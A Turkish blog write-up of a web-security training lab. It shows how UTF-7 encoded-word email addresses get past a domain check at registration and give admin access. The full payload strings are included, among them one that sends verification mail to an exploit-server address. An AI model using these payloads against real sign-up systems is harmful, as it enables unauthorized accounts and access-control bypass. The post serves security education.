top of page

Lab: Bypassing access controls using email address parsing discrepancies

Yazarın fotoğrafı: Songül ÖZÜGÜRLER
Songül ÖZÜGÜRLER
28 Nis
2 dakikada okunur

Lab: Bypassing access controls using email address parsing discrepancies

Bu labda ilk bakışta oldukça basit görünen bir kontrol var: “Sadece ginandjuice.shop domain’ine sahip email adresleriyle kayıt olunabilir.”

Lab: Bypassing access controls using email address parsing discrepancies

Ama işin güzelliği şu: Bu kontrolü yapan mekanizma ile email’i gerçekten parse eden kütüphane aynı şeyi anlamıyor . Ben de bu parser farkını (discrepancy) kullanarak admin yetkisine giden yolu açtım.

Laba girip Register sayfasını açtım. Standart bir deneme yaptım

Lab: Bypassing access controls using email address parsing discrepancies

Sonuç

Email domain must be ginandjuice.shop

Yani backend, kayıt sırasında email domain check yapıyor. Buraya kadar her şey “olması gerektiği gibi”.

Bu labın ana fikri, email adreslerinin farklı encoding formatlarıyla farklı şekillerde parse edilebilmesi .

İlk olarak Q-encoding ile denedim:

Bu aslında:

Lab: Bypassing access controls using email address parsing discrepancies
abcfoo@ginandjuice.shop

Ama sonuç:

Registration blocked for security reasons

Aynı denemeyi UTF-8 ile yaptım:

=?utf-8?q?=61=62=63?=abc@ginandjuice.shop
Lab: Bypassing access controls using email address parsing discrepancies

Sonuç yine aynı. Buradan şunu anladım: Uygulama yaygın encoded-word formatlarını tanıyor ve blokluyor .

Sonra daha az kullanılan bir encoding olan UTF-7 ’yi denedim:

=?utf-7?q?&AGEAYgBj-?=abc@ginandjuice.shop
Lab: Bypassing access controls using email address parsing discrepancies

Bu sefer ilginç bir şey oldu: Herhangi bir “security block” hatası gelmedi.Bu noktada taşlar yerine oturdu. Uygulamanın validation katmanı UTF-7’yi tehlikeli görmüyordu ama email’i parse eden sistem muhtemelen bambaşka bir şey okuyacaktı.

Amaç şu

- Validation tarafı email’i @ginandjuice.shop sanacak

- Mail server ise email’i benim exploit server adresim olarak yorumlayacak

Bunun için kayıt olurken email alanına şu payload’ı kullandım:

=?utf-7?q?attacker&AEA-exploit-0a18000d0315e0c18002255f01cb0000.exploit-server.net&ACA-?=@ginandjuice.shop
Lab: Bypassing access controls using email address parsing discrepancies

Bu payload’ta:

- @ ve bazı kritik karakterler UTF-7 ile encode edilmiş

- String’in sonunda hâlâ @ginandjuice.shop olduğu için validation geçiyor

- Ama mail sistemi decode edince email attacker@exploit-server.net olarak yorumlanıyor

Kayıt başarılı olduktan sonra Email client ’ı açtım. Doğrulama maili exploit server email adresime düşmüştü.

Lab: Bypassing access controls using email address parsing discrepancies

Linke tıklayıp hesabı aktive ettim.

Hesaba giriş yaptıktan sonra fark ettiğim şey şuydu: Admin panel erişilebilir durumdaydı.

Lab: Bypassing access controls using email address parsing discrepancies

- Admin panel’e girdim

- Kullanıcılar listesinden carlos ’u sildim

Lab: Bypassing access controls using email address parsing discrepancies

Bu labın özü tek bir cümlede:

Aynı input, farklı parser’lar tarafından farklı yorumlanıyorsa, güvenlik varsayımları çöker.

Burada:

- Validation katmanı email’i “string” olarak kontrol ediyor

- Email altyapısı ise RFC’lere uygun şekilde decode edip farklı bir adres üretiyor

- Aradaki fark → Access control bypass

Gerçek dünyada bu tarz parser discrepancy’ler:

- Email doğrulama

- SSO

- Domain-based authorization

- Invite-only sistemler

gibi yerlerde ciddi etkilere yol açabiliyor.

Bir sonraki labta görüşmek üzere 🌸

 
 
bottom of page